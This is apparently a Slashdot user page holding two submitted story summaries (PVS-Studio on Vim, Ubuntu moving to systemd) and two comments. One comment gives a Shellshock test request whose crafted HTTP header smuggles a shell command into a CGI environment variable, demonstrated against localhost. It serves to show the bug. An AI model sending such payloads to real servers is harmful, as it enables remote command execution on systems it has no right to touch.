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+ - Analyzing Vim by PVS-Studio in GNU/Linux ->

Submitted by Andrey Karpov
Andrey Karpov writes: You have probably thought that it's going to be another article about how we checked one more open-source project. But this article is actually not as much about the check itself as it is about the practice of using the PVS-Studio analyzer in the fully GNU/Linux environment. It's not by chance that we chose the Vim project for the check, for it had also contributed to the fulfillment of this task.
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+ - Ubuntu To Officially Switch To SystemD Next Monday

Submitted by jones_supa
jones_supa writes: Ubuntu is going live with SystemD, reports Martin Pitt in the ubuntu-devel-announce mailing list. Next Monday, Vivid (15.04) will be switched to boot with SystemD instead of UpStart. The change concerns desktop, server, and all other current flavors. Technically, this will flip around the preferred dependency of init to systemd-sysv | upstart in package management, which will affect new installs, but not upgrades. Upgrades will be switched by adding systemd-sysv to ubuntu-standard's dependencies. If you want, you can manually do the change already, but it's advisable to do an one-time boot first. Right now it is important that if you run into any trouble, file a proper bug report in Launchpad (ubuntu-bug systemd). If after some weeks it is found that there are too many or too big regressions, Ubuntu can still revert back to UpStart.

Comment: Re:huh? (Score 1) 269

by menkhaura (#48004467) Attached to: 2015 Corvette Valet Mode Recorder Illegal In Some States

I'd love to have a real-life device like that for my car and my bike.

However, not long ago a man was arrested here in Brazil because the trap he made to catch a thief who repeatedly invaded his house killed the vermin. The police didn't act to stop the thefts, only when the victim decided to stand up for himself the law came forward. Against him.

Comment: Re:Not arbitrary variables - QUERY_STRING (Score 4, Informative) 399

by menkhaura (#47987669) Attached to: Remote Exploit Vulnerability Found In Bash

Setup a local cgi script on your Linux machine. Telnet into its port 80. Assuming your cgi script is at /cgi-bin/test.sh, type the following in the telnet prompt:


GET /cgi-bin/um.pl HTTP/1.1
Host: localhost
Custom: () { :; }; while read -r l; do echo $l; done

Press ENTER twice after the last header.

If you don't use a shell builtin, the shell ends with a segfault and Apache shows an error, but the command is executed server-side. Scary.

All syllogisms have three parts, therefore this is not a syllogism.

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